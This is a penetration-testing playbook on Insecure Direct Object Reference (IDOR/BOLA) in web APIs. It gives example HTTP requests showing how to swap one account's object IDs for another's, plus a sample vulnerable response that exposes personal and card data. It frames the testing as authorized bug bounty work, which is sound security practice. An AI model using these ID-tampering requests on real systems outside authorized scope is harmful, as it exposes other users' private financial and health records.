insecure-direct-object-reference-idor

Insecure Direct Object Reference (IDOR) / BOLA

When to Use

• When conducting rigorous Web Application or API penetration testing targeting heavily utilized, multi-tenant applications (e.g., SaaS platforms, banking portals, healthcare record systems).
• Upon discovering numerical, sequential, or predictable object identifiers (e.g., user_id=1254, receipt_id=9881) explicitly passed within the URL path, query string, or JSON POST body.
• To demonstrate severe horizontal privilege escalation, proving that User A can critically manipulate the sensitive financial or private healthcare data of User B.

Prerequisites

• Authorized scope and target URLs from bug bounty program
• Burp Suite Professional (or Community) configured with browser proxy
• Familiarity with OWASP Top 10 and common web vulnerability classes
• SecLists wordlists for fuzzing and enumeration

Workflow

Phase 1: Identifying the Target Surface (The Identifier)

# Concept: IDOR occurs fundamentally when an application takes user-supplied input to 
# directly retrieve a database object, but disastrously fails to verify if the requesting 
# user actually owns or has authorization to access that specific object.

# 1. Capture typical traffic utilizing Burp Suite explicitly tracking where identifiers exist.

# Example A: The URL Parameter
GET /api/v1/user/profile?user_id=45091 HTTP/1.1
Authorization: Bearer <USER_A_TOKEN>

# Example B: The JSON POST Body (Hidden logic)
POST /api/v1/payments/refund HTTP/1.1
Authorization: Bearer <USER_A_TOKEN>
{
    "transaction_id": 88412,
    "amount": 50.00
}

# Example C: RESTful URI Pathing
DELETE /api/v1/documents/invoice_339.pdf HTTP/1.1
Authorization: Bearer <USER_A_TOKEN>

Phase 2: Vulnerability Validation (The Attack)

# Concept: Attempting Horizontal Privilege Escalation. We manipulate the identifier 
# belonging to our own account to target an identifier we do not own, utilizing our standard 
# low-privileged token.

# 1. Create two distinct accounts on the platform:
# Account A (Attacker): user_id = 45091
# Account B (Victim): user_id = 45092 (Ensure you control Account B to verify the impact legally!)

# 2. Replay the HTTP request utilizing Account A's Session Token, but request Account B's ID.
GET /api/v1/user/profile?user_id=45092 HTTP/1.1
Authorization: Bearer <USER_A_TOKEN>

# 3. Analyze the Server's HTTP Response:
# Result A (Secure): HTTP 403 Forbidden or 401 Unauthorized. (The server checked authorization).
# Result B (Secure): HTTP 404 Not Found. (The server obfuscated the target effectively).
# Result C (VULNERABLE - IDOR): HTTP 200 OK
{
    "username": "victimUser22",
    "email": "[email protected]",
    "ssn": "xxx-xx-1234",
    "credit_card": "4111-xxxx-xxxx-4444"
}